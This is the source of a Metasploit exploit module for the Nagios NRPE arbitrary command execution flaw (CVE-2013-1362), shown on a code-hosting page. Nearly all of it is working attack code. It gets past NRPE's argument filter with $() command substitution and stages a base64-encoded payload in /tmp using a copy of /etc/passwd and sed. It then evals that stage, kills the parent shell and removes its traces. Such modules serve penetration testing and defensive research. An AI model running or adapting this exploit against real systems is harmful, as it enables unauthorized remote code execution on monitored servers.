Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/misc/nagios_nrpe_arguments.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##4#56require 'zlib'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::Tcp1213def initialize(info = {})14super(update_info(info,15'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution',16'Description' => %q{17The Nagios Remote Plugin Executor (NRPE) is installed to allow a central18Nagios server to actively poll information from the hosts it monitors. NRPE19has a configuration option dont_blame_nrpe which enables command-line arguments20to be provided remote plugins. When this option is enabled, even when NRPE makes21an effort to sanitize arguments to prevent command execution, it is possible to22execute arbitrary commands.23},24'Author' =>25[26'Rudolph Pereir', # Vulnerability discovery27'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module28],29'References' =>30[31[ 'CVE', '2013-1362' ],32[ 'OSVDB', '90582'],33[ 'BID', '58142'],34[ 'URL', 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability']35],36'License' => MSF_LICENSE,37'Platform' => 'unix',38'Arch' => ARCH_CMD,39'Payload' =>40{41'DisableNops' => true,42'Compat' =>43{44'PayloadType' => 'cmd',45'RequiredCmd' => 'perl python ruby telnet',46# *_perl, *_python and *_ruby work if they are installed47}48},49'Targets' =>50[51[ 'Nagios Remote Plugin Executor prior to 2.14', {} ]52],53'DefaultTarget' => 0,54'DisclosureDate' => '2013-02-21'55))5657register_options(58[59Opt::RPORT(5666),60OptEnum.new('NRPECMD', [61true,62"NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg",63'check_procs',64['check_procs', 'check_users', 'check_load', 'check_disk']65]),66# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below67OptBool.new('NRPESSL', [ true, "Use NRPE's Anonymous-Diffie-Hellman-variant SSL ", true])68])69end7071def send_message(message)72packet = [732, # packet version741, # packet type, 1 => query packet750, # checksum, to be added later760, # result code, discarded for query packet77message, # the command and arguments780 # padding79]80packet[2] = Zlib::crc32(packet.pack("nnNna1024n")) # calculate the checksum81begin82self.sock.put(packet.pack("nnNna1024n")) #send the packet83res = self.sock.get_once # get the response84rescue ::EOFError => eof85res = ""86end8788return res.unpack("nnNnA1024n")[4] unless res.nil?89end9091def setup92@ssl_socket = nil93@force_ssl = false94super95end9697def exploit9899if check != Exploit::CheckCode::Vulnerable100fail_with(Failure::NotFound, "Host does not support plugin command line arguments or is not accepting connections")101end102103stage = "setsid nohup #{payload.encoded} & "104stage = Rex::Text.encode_base64(stage)105# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)106command = datastore['NRPECMD']107command << "!"108command << "$($(rm -f /tmp/$$)" # Delete the file if it exists109# need a way to write to a file without using redirection (>)110# cant count on perl being on all linux hosts, use GNU Sed111# TODO: Probably a better way to do this, some hosts may not have a /tmp112command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text113command << "$(sed 1i#{stage} -i /tmp/$$)" # prepend our stage to the file114command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage115command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?116command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes117command << "$(rm -f /tmp/$$))" # clean the file with the stage118connect119print_status("Sending request...")120send_message(command)121disconnect122end123124def check125vprint_status("Checking if remote NRPE supports command line arguments")126127begin128# send query asking to run "fake_check" command with command substitution in arguments129connect130res = send_message("__fake_check!$()")131# if nrpe is configured to support arguments and is not patched to add $() to132# NASTY_META_CHARS then the service will return:133# NRPE: Command '__fake_check' not defined134if res =~ /not defined/135return Exploit::CheckCode::Vulnerable136end137# Otherwise the service will close the connection if it is configured to disable arguments138rescue EOFError => eof139return Exploit::CheckCode::Safe140rescue Errno::ECONNRESET => reset141unless datastore['NRPESSL'] or @force_ssl142vprint_status("Retrying with ADH SSL")143@force_ssl = true144retry145end146return Exploit::CheckCode::Safe147rescue => e148return Exploit::CheckCode::Unknown149end150# TODO: patched version appears to go here151return Exploit::CheckCode::Unknown152153end154155# NRPE uses unauthenticated Anonymous-Diffie-Hellman156157# setting the global SSL => true will break as we would be overlaying158# an SSLSocket on another SSLSocket which hasnt completed its handshake159def connect(global = true, opts={})160161self.sock = super(global, opts)162163if datastore['NRPESSL'] or @force_ssl164ctx = OpenSSL::SSL::SSLContext.new(:TLSv1)165ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE166ctx.ciphers = "ADH"167168@ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)169170@ssl_socket.connect171172self.sock.extend(Rex::Socket::SslTcp)173self.sock.sslsock = @ssl_socket174self.sock.sslctx = ctx175end176177return self.sock178end179180def disconnect181@ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl182super183end184end185186187